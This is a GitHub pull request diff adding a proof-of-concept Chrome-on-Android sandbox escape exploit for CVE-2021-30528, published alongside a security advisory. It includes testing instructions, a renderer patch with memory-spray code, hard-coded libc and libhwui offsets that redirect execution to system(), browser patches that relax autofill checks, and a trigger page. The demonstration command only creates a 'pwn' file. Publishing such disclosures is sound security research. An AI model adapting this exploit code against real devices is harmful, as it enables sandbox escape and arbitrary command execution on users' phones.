Skip to content
Merged
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
27 changes: 27 additions & 0 deletions SecurityExploits/Chrome/SandboxEscape/CVE-2021-30528/README.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,27 @@
## Chrome Sandbox Escape CVE-2021-30528

The write up can be found [here](https://securitylab.github.com/research/chrome_sbx_java). This is a Chrome bug I reported in May 2021. The GitHub Advisory can be found [here](https://securitylab.github.com/advisories/GHSL-2021-124-chrome) and the Chrome Issue [here](https://bugs.chromium.org/p/chromium/issues/detail?id=1206329). The bug can be used to escape the Chrome sandbox from a compromised renderer.

Two exploits are included, one for the 64 bit version 90.0.4430.91 and the other is for the 32 bit version 88.0.4324.181. The build configs are in the corresponding sub directories.

To test, follow the instructions for the corresponding versions to build the binary, then install the resulting apks (under `out/<target>/apks`) on the phone using `adb`, then enable the `MojoJS` feature to simulate a compromised renderer:

1. Enable `Enable command line on non-rooted devices` from `chrome://flags`
2. Create a file in `/data/local/tmp/chrome-command-line` in the phone and then add `chrome --enable-blink-features=MojoJS` to the file
3. Force stop Chrome and restart

As explained in the [write up](https://securitylab.github.com/research/chrome_sbx_java), this bug requires a credit card to be stored in the user account. To simulate the behaviour locally, a patch is applied to the browser side code to treat a local card as a remote card. This still requires a credit card to store on the tested device as a payment method. I do not recommend using real card details for this purpose. For testing, the following steps can be used:

1. In the testing version of Chrome, go to `Settings > Payment Methods` and select `Add card`.
2. Enter `4111 1111 1111 1111` as the card number, this should be recognized as a Visa card. (I found this in some code comment and I can only hope that this is not the real card number of some dedicated developer)

Then create a directory to host the `html` files included in this directory, and run `copy_mojo_js_bindings.py` to copy the mojo bindings to the directory and host the files on localhost:

```
python ./copy_mojo_js_bindings.py /path/to/chrome/../out/<target>/gen
python -m SimpleHTTPServer
```

Then open the page `http://localhost:8000/trigger2_64.html` or `http://localhost:8000/trigger2_32.html` (depending on the version) from Chrome on the device. The easiest way is to use the `chrome://inspect/#devices` tool to set up the proxies etc. and open the url.

If successful, the shell command will run and a file called `pwn` will be created in the directory `/data/data/org.chromium.chrome/` in the phone. This should succeed most of the time.
Original file line number Diff line number Diff line change
@@ -0,0 +1,55 @@
## 64 bit version

The 64 bit version 90.0.4430.91 of Chrome is tested with the following devices:
1. Pixel 3a firmware version RQ1A.210205.004
2. Samsung Galaxy A71 firmware version A715FXXU3BUB5

The offsets included in `arm64_renderer.patch` are with respect to A71. To test Pixel3a, change the A71 specific offsets to the following instead:
```
uint64_t executeOffset = 0x711354;
uint64_t systemOffset = 0x5f278;
```

The `arm64_renderer.patch` is used to simulate a compromised renderer.

The patch `browser.patch` patches the browser to make local testing more convenient. It does the following:
1. It removes the `ServerCards` check to simulate having a credit card store in an account (rather than on the device):

```
@@ -163,7 +163,7 @@ void CreditCardAccessManager::PrepareToFetchCreditCard() {
#if !defined(OS_IOS)
// No need to fetch details if there are no server cards.
if (!ServerCardsAvailable())
- return;
+// return;

```

2. It removes the requirement for secure content, which would require a properly set up https context. (Self signed certificate for localhost does not pass this)

```
@@ -2542,7 +2542,9 @@ void AutofillManager::GetAvailableSuggestions(
return;
}

- context->is_context_secure = !IsFormNonSecure(form);
+// context->is_context_secure = !IsFormNonSecure(form);
+ context->is_context_secure = true;
+

```

These are only for the convenience of local testing and are not a requirement of the vulnerability.

After applying both of these patches, build Chrome version 90.0.4430.91 with the following build config (`args.gn`):

```
target_os = "android"
target_cpu = "arm64"
is_java_debug = false
is_debug = false
symbol_level = 1
blink_symbol_level = 1
```

then follow the instructions in `README.md` of the parent directory to test.
Original file line number Diff line number Diff line change
@@ -0,0 +1,213 @@
diff --git a/third_party/blink/renderer/core/frame/dom_window.cc b/third_party/blink/renderer/core/frame/dom_window.cc
index 59204c4d8db3..6c50421a6c78 100644
--- a/third_party/blink/renderer/core/frame/dom_window.cc
+++ b/third_party/blink/renderer/core/frame/dom_window.cc
@@ -43,6 +43,56 @@
#include "third_party/blink/renderer/platform/weborigin/kurl.h"
#include "third_party/blink/renderer/platform/weborigin/security_origin.h"

+
+#include "ui/gfx/geometry/rect_f.h"
+#include "base/strings/utf_string_conversions.h"
+#include "content/public/renderer/render_frame.h"
+#include "content/renderer/render_frame_impl.h"
+#include "content/public/renderer/render_frame_visitor.h"
+#include "content/renderer/frame_owner_properties_converter.h"
+#include "content/renderer/render_frame_proxy.h"
+#include "components/autofill/core/common/mojom/autofill_types.mojom.h"
+#include "components/autofill/content/common/mojom/autofill_agent.mojom.h"
+#include "components/autofill/content/common/mojom/autofill_driver.mojom.h"
+
+#include "components/autofill/core/common/password_generation_util.h"
+#include "components/autofill/core/common/form_data.h"
+#include "components/autofill/core/common/renderer_id.h"
+#include "third_party/blink/renderer/core/frame/web_local_frame_impl.h"
+
+#include "third_party/ashmem/ashmem.h"
+#include <sys/mman.h>
+#include "third_party/blink/renderer/core/mojo/mojo.h"
+#include "third_party/blink/renderer/core/mojo/mojo_create_data_pipe_options.h"
+#include "third_party/blink/renderer/core/mojo/mojo_create_data_pipe_result.h"
+
+#include "base/single_thread_task_runner.h"
+#include "third_party/blink/public/mojom/blob/blob_registry.mojom-blink.h"
+#include "third_party/blink/public/mojom/fetch/fetch_api_request.mojom-blink-forward.h"
+#include "third_party/blink/public/mojom/frame/back_forward_cache_controller.mojom-blink-forward.h"
+#include "third_party/blink/public/mojom/service_worker/controller_service_worker_mode.mojom-blink-forward.h"
+#include "third_party/blink/public/platform/web_url_loader.h"
+#include "third_party/blink/renderer/platform/heap/persistent.h"
+#include "third_party/blink/renderer/platform/loader/fetch/fetch_parameters.h"
+#include "third_party/blink/renderer/platform/loader/fetch/preload_key.h"
+#include "third_party/blink/renderer/platform/loader/fetch/resource_load_priority.h"
+#include "third_party/blink/renderer/platform/loader/fetch/resource_load_scheduler.h"
+#include "third_party/blink/renderer/platform/mojo/heap_mojo_remote.h"
+#include "third_party/blink/renderer/platform/mojo/heap_mojo_wrapper_mode.h"
+#include "third_party/blink/renderer/platform/mojo/mojo_binding_context.h"
+#include "third_party/blink/renderer/platform/platform_export.h"
+#include "third_party/blink/renderer/platform/timer.h"
+#include "third_party/blink/renderer/platform/wtf/hash_map.h"
+#include "third_party/blink/renderer/platform/wtf/hash_set.h"
+#include "third_party/blink/renderer/platform/wtf/text/string_hash.h"
+#include "third_party/blink/public/common/thread_safe_browser_interface_broker_proxy.h"
+
+#include "mojo/core/core.h"
+#include "mojo/public/c/system/data_pipe.h"
+
+#include <fstream>
+#include <string>
+
namespace blink {

DOMWindow::DOMWindow(Frame& frame)
@@ -55,6 +105,135 @@ DOMWindow::~DOMWindow() {
DCHECK(!frame_);
}

+
+//--------------Spray virtual memory----------------------------
+static uint64_t findLibOffset(const std::string& lib) {
+ std::ifstream file("/proc/self/maps");
+ CHECK(file.is_open()) << "Cannot open /proc/self/maps";
+ std::string line;
+ std::string addr;
+ while (std::getline(file, line)) {
+ if (line.find(lib) != std::string::npos) {
+ LOG(ERROR) << "found "<< lib << line;
+ int pos = line.find("-");
+ std::string addrStr = line.substr(0,pos);
+ uint64_t offset = std::stol(addrStr, nullptr, 16);
+ LOG(ERROR) << addrStr << " : " << offset;
+ return offset;
+ }
+ }
+ CHECK(false) << "Cannot find " << lib << " offset";
+ return 0;
+}
+
+//Same as the heuristics used in javascript.
+static uint64_t computeControlledAddress(uint64_t addr) {
+ uint64_t sprayedAddr = addr - 0x1000000000;
+ uint64_t fillAddr = sprayedAddr/0x100000000;
+ return fillAddr * 0x100000000;
+}
+
+static int mapAndInitializeSharedMem(uint64_t* addr) {
+ size_t pageSize = 0x1000;
+ size_t hugePageSize = 0x8000000;
+ uint64_t libhwuiOffset = findLibOffset("libhwui.so");
+ uint64_t libcOffset = findLibOffset("libc.so");
+
+//A71 specific offsets--------------------
+ uint64_t executeOffset = 0x8ce318;
+ uint64_t systemOffset = 0x60ac8;
+//------------------------------------------
+ int fd = ashmem_create_region("spray_region", hugePageSize);
+ for (size_t i = 0; i < hugePageSize/pageSize; i++) {
+ uint8_t* mapped = (uint8_t*)mmap(nullptr, pageSize, PROT_READ | PROT_WRITE, MAP_SHARED, fd, i * pageSize);
+ CHECK(mapped && mapped != MAP_FAILED) << "mmap failed " << i;
+ if (i == 0) *addr = (uint64_t)mapped;
+ memset(mapped, 0x00, pageSize);
+ uint64_t* execute = (uint64_t*)(mapped + 8);
+ *execute = executeOffset + libhwuiOffset;
+ //Fake webpworker
+ uint64_t* hook = (uint64_t*)(mapped + 0x10);
+ *hook = systemOffset + libcOffset;
+ uint64_t controlledAddr = computeControlledAddress(*addr);
+ uint64_t* data = (uint64_t*)(mapped + 0x18);
+ *data = controlledAddr + 0x100;
+ char cmd[] = "touch /data/data/org.chromium.chrome/pwn";
+ memcpy(mapped + 0x100, cmd, strlen(cmd) + 1);
+ }
+ return fd;
+}
+
+static std::vector<mojo::ScopedHandle> createDataPipes(int pipeNum, std::vector<int>& fd) {
+ std::vector<mojo::ScopedHandle> handles;
+ for (int i = 0; i < pipeNum; i++) {
+ MojoCreateDataPipeOptions options;
+ options.setElementNumBytes(1);
+ options.setCapacityNumBytes(0x1000);
+ MojoCreateDataPipeResult* result = Mojo::createDataPipe(&options);
+ handles.push_back(result->consumer()->TakeHandle());
+ }
+ return handles;
+}
+
+
+static uint64_t sprayVirtualMem() {
+ int dupNum = 200;
+ uint64_t addr = 0;
+ int fd = mapAndInitializeSharedMem(&addr);
+ std::vector<int> fds;
+ for (int i = 0; i < dupNum; i++) {
+ fds.push_back(dup(fd));
+ }
+ std::vector<mojo::ScopedHandle> handles = createDataPipes(dupNum, fds);
+ mojo::core::Core* core = mojo::core::Core::Get();
+ for (size_t i = 0; i < handles.size(); i++) {
+ scoped_refptr<mojo::core::Dispatcher> dispatcher = core->GetDispatcher(handles[i]->value());
+ uint8_t* dispatcherPtr8 = (uint8_t*)(dispatcher.get());
+ int offset = 160;
+ *(base::ScopedFD*)(dispatcherPtr8 + offset) = base::ScopedFD(fds[i]);
+ uint64_t* dispatcherPtrWide = (uint64_t*)(dispatcher.get());
+ *(dispatcherPtrWide + (offset + 24)/sizeof(uint64_t)) = 0x8000000;
+ ::MojoCreateDataPipeOptions* options = (::MojoCreateDataPipeOptions*)(dispatcherPtr8 + 16);
+ options->element_num_bytes = 0x8000000;
+ options->capacity_num_bytes = 0x8000000;
+ }
+
+
+ mojo::Remote<mojom::blink::BlobRegistry> blob_registry;
+ Platform::Current()->GetBrowserInterfaceBroker()->GetInterface(
+ blob_registry.BindNewPipeAndPassReceiver());
+ for (int i = 0; i < dupNum; i++) {
+ blob_registry->RegisterFromStream("", "", 1, mojo::ScopedDataPipeConsumerHandle::From(std::move(handles[i])), mojo::NullAssociatedRemote(), base::DoNothing());
+ }
+ return addr;
+}
+//----------------------------------------------------------------------
+
+//Triggering bug
+static void RenderFrameImpl_Visitor(content::RenderFrameImpl* frame) {
+ blink::AssociatedInterfaceProvider* provider = frame->GetRemoteAssociatedInterfaces();
+ mojo::AssociatedRemote<autofill::mojom::AutofillDriver> autofill_driver;
+ provider->GetInterface(&autofill_driver);
+ autofill::FormData form;
+ autofill::FormFieldData field;
+ field.autocomplete_attribute = "cc-number";
+ form.fields.push_back(field);
+ form.url = GURL("https://www.aaa.com");
+ autofill_driver->QueryFormFieldAutofill(0, form, field, gfx::RectF(10,10), false);
+}
+
+static void RenderFrameHost_test() {
+ struct TriggerVisitor : public content::RenderFrameVisitor {
+ bool Visit(content::RenderFrame* frame) override {
+ RenderFrameImpl_Visitor((content::RenderFrameImpl*)frame);
+ return true;
+ }
+ };
+ TriggerVisitor visitor;
+ content::RenderFrame::ForEach(&visitor);
+}
+//----------------------------------------------------------------------
+
v8::Local<v8::Value> DOMWindow::Wrap(v8::Isolate* isolate,
v8::Local<v8::Object> creation_context) {
// TODO(yukishiino): Get understanding of why it's possible to initialize
@@ -157,6 +336,15 @@ void DOMWindow::postMessage(v8::Isolate* isolate,
const String& target_origin,
HeapVector<ScriptValue>& transfer,
ExceptionState& exception_state) {
+ if (target_origin == "trigger") {
+ RenderFrameHost_test();
+ return;
+ }
+ if (target_origin == "spray") {
+ uint64_t addr = sprayVirtualMem();
+ exception_state.ThrowTypeError(String::Number(addr));
+ return;
+ }
WindowPostMessageOptions* options = WindowPostMessageOptions::Create();
options->setTargetOrigin(target_origin);
if (!transfer.IsEmpty())
Original file line number Diff line number Diff line change
@@ -0,0 +1,28 @@
diff --git a/components/autofill/core/browser/autofill_manager.cc b/components/autofill/core/browser/autofill_manager.cc
index 07b62e25c1ff..d5496277f632 100644
--- a/components/autofill/core/browser/autofill_manager.cc
+++ b/components/autofill/core/browser/autofill_manager.cc
@@ -2542,7 +2542,9 @@ void AutofillManager::GetAvailableSuggestions(
return;
}

- context->is_context_secure = !IsFormNonSecure(form);
+// context->is_context_secure = !IsFormNonSecure(form);
+ context->is_context_secure = true;
+

// TODO(rogerm): Early exit here on !driver()->RendererIsAvailable()?
// We skip populating autofill data, but might generate warnings and or
diff --git a/components/autofill/core/browser/payments/credit_card_access_manager.cc b/components/autofill/core/browser/payments/credit_card_access_manager.cc
index 560f30b57c88..6b5715949ffd 100644
--- a/components/autofill/core/browser/payments/credit_card_access_manager.cc
+++ b/components/autofill/core/browser/payments/credit_card_access_manager.cc
@@ -163,7 +163,7 @@ void CreditCardAccessManager::PrepareToFetchCreditCard() {
#if !defined(OS_IOS)
// No need to fetch details if there are no server cards.
if (!ServerCardsAvailable())
- return;
+// return;

// Do not make an unnecessary preflight call unless signaled.
if (!can_fetch_unmask_details_.IsSignaled())
Original file line number Diff line number Diff line change
@@ -0,0 +1,14 @@
<html>
<head>

<script>
function trigger() {
postMessage("trigger", "trigger");
parent.removeIframe('trigger');
}
</script>
</head>

<body onload="trigger()"></body>

</html>
Loading